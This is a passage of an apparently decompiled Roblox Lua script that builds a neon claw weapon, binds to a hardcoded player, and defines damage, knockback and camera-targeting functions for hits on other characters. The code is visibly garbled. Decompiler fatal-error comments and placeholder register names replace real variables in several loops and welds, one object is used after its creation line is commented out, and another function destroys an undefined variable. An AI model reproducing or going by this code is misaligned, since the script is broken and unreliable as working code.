ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
976
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
977
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
978
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
979
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
980
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
981
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
982
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
983
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
984
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
985
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
986
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
987
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
988
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
989
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
990
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
991
ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
992
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
993
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
994
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
995
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
996
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
997
MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
998
MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
999
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1000
ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
1001
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
1002
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1003
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
1004
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1005
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1006
ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
1007
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1008
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1009
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
1010
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
1011
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
1012
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1013
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
1014
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
1015
PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
1016
MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1017
MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
1018
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1019
ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
1020
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
1021
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1022
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
1023
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1024
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1025
ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
1026
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1027
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1028
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
1029
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
1030
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
1031
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1032
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
1033
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
1034
PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
1035
MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "White", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1036
MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
1037
local CBlade = {}
1038
local CBladeWelds = {}
1039
for _,c in pairs(m:children()) do
1040
  if c.className == "Part" then
1041
    table.insert(CBlade, R67_PC6072)
1042
  end
1043
end
1044
for _,c in pairs(m:children()) do
1045
  if c.className == "Weld" then
1046
    table.insert(CBladeWelds, R67_PC6072)
1047
    print(R66_PC6093)
1048
  end
1049
end
1050
-- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
1051
1052
-- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
1053
1054
--Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
1055
-- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
1056
1057
-- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
1058
1059
HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
1060
CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
1061
FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "White", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
1062
FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1063
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
1064
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
1065
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
1066
Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
1067
PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
1068
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
1069
TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "White", "TornadoHat", Vector3.new(3, 0.400000006, 3))
1070
TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
1071
CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
1072
local DBlade = {}
1073
local DBladeWelds = {}
1074
for _,c in pairs(demon:children()) do
1075
  if c.className == "Part" then
1076
    table.insert(DBlade, c)
1077
  end
1078
end
1079
for _,c in pairs(demon:children()) do
1080
  if c.className == "Weld" then
1081
    table.insert(DBladeWelds, c)
1082
    print(c)
1083
  end
1084
end
1085
demon.Parent = nil
1086
1087
paly = game.Players.ThatProGamerKilledU
1088
char = paly.Character
1089
torso = char.Torso
1090
neck = char.Torso.Neck
1091
hum = char.Humanoid
1092
Player = game:GetService("Players").ThatProGamerKilledU
1093
Character = Player.Character
1094
tors = Character.Torso
1095
lleg = Character["Left Leg"]
1096
root = Character.HumanoidRootPart
1097
hed = Character.Head
1098
rleg = Character["Right Leg"]
1099
rarm = Character["Right Arm"]
1100
larm = Character["Left Arm"]
1101
local Effects = {}
1102
attack = false
1103
vt = Vector3.new
1104
bc = BrickColor.new
1105
br = BrickColor.random
1106
it = Instance.new
1107
cf = CFrame.new
1108
euler = CFrame.fromEulerAnglesXYZ
1109
angles = CFrame.Angles
1110
matr = math.random
1111
local basiccooldown = math.huge
1112
local ultcooldown = math.huge
1113
local secondcooldown = math.huge
1114
local thirdcooldown = math.huge
1115
1116
local boll = Instance.new("Part",game.Lighting)
1117
boll.Transparency = 0.5
1118
boll.Material = "Neon"
1119
boll.BrickColor = tors.BrickColor
1120
boll.Anchored = true
1121
boll.Size = vt(1,1,1)
1122
boll.Shape = "Ball"
1123
boll.CanCollide = false
1124
1125
local shur = Instance.new("Part",game.Lighting)
1126
shur.Transparency = 0
1127
shur.Material = "Neon"
1128
shur.BrickColor = tors.BrickColor
1129
shur.Anchored = true
1130
shur.Size = vt(5,0.2,5)
1131
shur.CanCollide = false
1132
local Meshshur = Instance.new("CylinderMesh",shur)
1133
1134
1135
local boll = Instance.new("Part",game.Lighting)
1136
boll.Transparency = 0.5
1137
boll.Material = "Neon"
1138
boll.BrickColor = bc("Bright red")
1139
boll.Anchored = true
1140
boll.Size = vt(1,1,1)
1141
boll.Shape = "Ball"
1142
boll.CanCollide = false
1143
1144
local shur = Instance.new("Part",game.Lighting)
1145
shur.Transparency = 0
1146
shur.Material = "Neon"
1147
shur.BrickColor = bc("Bright red")
1148
shur.Anchored = true
1149
shur.Size = vt(5,0.2,5)
1150
shur.CanCollide = false
1151
local Meshshur = Instance.new("CylinderMesh",shur)
1152
1153
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
1154
        if hit.Parent==nil then
1155
                return
1156
        end
1157
        h=hit.Parent:FindFirstChild("Humanoid")
1158
        for _,v in pairs(hit.Parent:children()) do
1159
        if v:IsA("Humanoid") then
1160
        h=v
1161
        end
1162
        end
1163
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
1164
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
1165
        end
1166
        if hit.Parent.className=="Hat" then
1167
        hit=hit.Parent.Parent:findFirstChild("Head")
1168
        end
1169
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
1170
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
1171
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
1172
                        return
1173
                end]]
1174
--                        hs(hit,1.2) 
1175
                        c=Instance.new("ObjectValue")
1176
                        c.Name="creator"
1177
                        c.Value=game:service("Players").ThatProGamerKilledU
1178
                        c.Parent=h
1179
                        game:GetService("Debris"):AddItem(c,.5)
1180
                Damage=math.random(minim,maxim)
1181
--                h:TakeDamage(Damage)
1182
                blocked=false
1183
                block=hit.Parent:findFirstChild("Block")
1184
                if block~=nil then
1185
                print(block.className)
1186
                if block.className=="NumberValue" then
1187
                if block.Value>0 then
1188
                blocked=true
1189
                if decreaseblock==nil then
1190
                block.Value=block.Value-1
1191
                end
1192
                end
1193
                end
1194
                if block.className=="IntValue" then
1195
                if block.Value>0 then
1196
                blocked=true
1197
                if decreaseblock~=nil then
1198
                block.Value=block.Value-1
1199
                end
1200
                end
1201
                end
1202
                end
1203
                if blocked==false then
1204
--                h:TakeDamage(Damage)
1205
                h.Health=h.Health-Damage
1206
                showDamage(hit.Parent,Damage,.5,TorsoColor)
1207
                else
1208
                h.Health=h.Health-(Damage/2)
1209
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
1210
                end
1211
                if Type=="Knockdown" then
1212
                hum=hit.Parent.Humanoid
1213
hum.PlatformStand=true
1214
coroutine.resume(coroutine.create(function(HHumanoid)
1215
swait(1)
1216
HHumanoid.PlatformStand=false
1217
end),hum)
1218
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
1219
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
1220
local bodvol=Instance.new("BodyVelocity")
1221
bodvol.velocity=angle*knockback
1222
bodvol.P=5000
1223
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
1224
bodvol.Parent=hit
1225
rl=Instance.new("BodyAngularVelocity")
1226
rl.P=3000
1227
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1228
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
1229
rl.Parent=hit
1230
game:GetService("Debris"):AddItem(bodvol,.5)
1231
game:GetService("Debris"):AddItem(rl,.5)
1232
                elseif Type=="Normal" then
1233
                vp=Instance.new("BodyVelocity")
1234
                vp.P=500
1235
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
1236
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
1237
                if KnockbackType==1 then
1238
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
1239
                elseif KnockbackType==2 then
1240
                vp.velocity=Property.CFrame.lookVector*knockback
1241
                end
1242
                if knockback>0 then
1243
                        vp.Parent=hit.Parent.Torso
1244
                end
1245
                game:GetService("Debris"):AddItem(vp,.5)
1246
                elseif Type=="Up" then
1247
                local bodyVelocity=Instance.new("BodyVelocity")
1248
                bodyVelocity.velocity=vt(0,10,0)
1249
                bodyVelocity.P=1000
1250
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
1251
                bodyVelocity.Parent=hit
1252
                game:GetService("Debris"):AddItem(bodyVelocity,1)
1253
                rl=Instance.new("BodyAngularVelocity")
1254
                rl.P=3000
1255
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
1256
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
1257
                rl.Parent=hit
1258
                game:GetService("Debris"):AddItem(rl,.5)
1259
                elseif Type=="Snare" then
1260
                bp=Instance.new("BodyPosition")
1261
                bp.P=2000
1262
                bp.D=100
1263
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1264
                bp.position=hit.Parent.Torso.Position
1265
                bp.Parent=hit.Parent.Torso
1266
                game:GetService("Debris"):AddItem(bp,1)
1267
                elseif Type=="Target" then
1268
                if Targetting==false then
1269
                ZTarget=hit.Parent.Torso
1270
                coroutine.resume(coroutine.create(function(Part) 
1271
                swait(5)
1272
                end),ZTarget)
1273
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
1274
                targetgui=Instance.new("BillboardGui")
1275
                targetgui.Parent=ZTarget
1276
                targetgui.Size=UDim2.new(10,100,10,100)
1277
                targ=Instance.new("ImageLabel")
1278
                targ.Parent=targetgui
1279
                targ.BackgroundTransparency=1
1280
                targ.Image="rbxassetid://4834067"
1281
                targ.Size=UDim2.new(1,0,1,0)
1282
                cam.CameraType="Scriptable"
1283
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1284
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1285
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1286
                Targetting=true
1287
                RocketTarget=ZTarget
1288
                for i=1,Property do
1289
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
1290
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
1291
                swait()
1292
                end
1293
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
1294
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
1295
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
1296
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
1297
                end
1298
                Targetting=false
1299
                RocketTarget=nil
1300
                targetgui.Parent=nil
1301
                cam.CameraType="Custom"
1302
                end
1303
                end
1304
                        debounce=Instance.new("BoolValue")
1305
                        debounce.Name="DebounceHit"
1306
                        debounce.Parent=hit.Parent
1307
                        debounce.Value=true
1308
                        game:GetService("Debris"):AddItem(debounce,Delay)
1309
                        c=Instance.new("ObjectValue")
1310
                        c.Name="creator"
1311
                        c.Value=Player
1312
                        c.Parent=h
1313
                        game:GetService("Debris"):AddItem(c,.5)
1314
                CRIT=false
1315
                hitDeb=true
1316
                AttackPos=6
1317
        end
1318
end
1319
 
1320
showDamage=function(Char,Dealt,du,Color)
1321
        m=Instance.new("Model")
1322
        m.Name=tostring(Dealt)
1323
        h=Instance.new("Humanoid")
1324
        h.Health=0
1325
        h.MaxHealth=0
1326
        h.Parent=m
1327
        c=Instance.new("Part")
1328
        c.Transparency=0
1329
        c.Material = "Neon"
1330
        c.BrickColor=bc("New Yeller")
1331
        c.Name="Head"
1332
        c.TopSurface=0
1333
        c.BottomSurface=0
1334
  local tick = Instance.new("Sound",c)
1335
  tick.SoundId = "rbxassetid://12221976"
1336
  tick.Volume = 5
1337
  tick.Pitch = 4
1338
  tick:Play()
1339
        c.formFactor="Plate"
1340
        c.Size=Vector3.new(1,.4,1)
1341
        ms=Instance.new("CylinderMesh")
1342
        ms.Scale=Vector3.new(.8,.8,.8)
1343
        if CRIT==true then
1344
                ms.Scale=Vector3.new(1,1.25,1)
1345
        end
1346
        ms.Parent=c
1347
        c.Reflectance=0
1348
        Instance.new("BodyGyro").Parent=c
1349
        c.Parent=m
1350
        if Char:findFirstChild("Head")~=nil then
1351
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
1352
        elseif Char.Parent:findFirstChild("Head")~=nil then
1353
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
1354
        end
1355
        f=Instance.new("BodyPosition")
1356
        f.P=2000
1357
        f.D=100
1358
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
1359
        f.position=c.Position+Vector3.new(0,3,0)
1360
        f.Parent=c
1361
        game:GetService("Debris"):AddItem(m,.5+du)
1362
        c.CanCollide=false
1363
        m.Parent=workspace
1364
        c.CanCollide=false
1365
p:Destroy()
1366
end
1367
1368
function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
1369
	for _, c in pairs(workspace:children()) do
1370
		local hum = c:findFirstChild("Humanoid")
1371
		if hum ~= nil then
1372
			local head = c:findFirstChild("Torso")
1373
			if head ~= nil then
1374
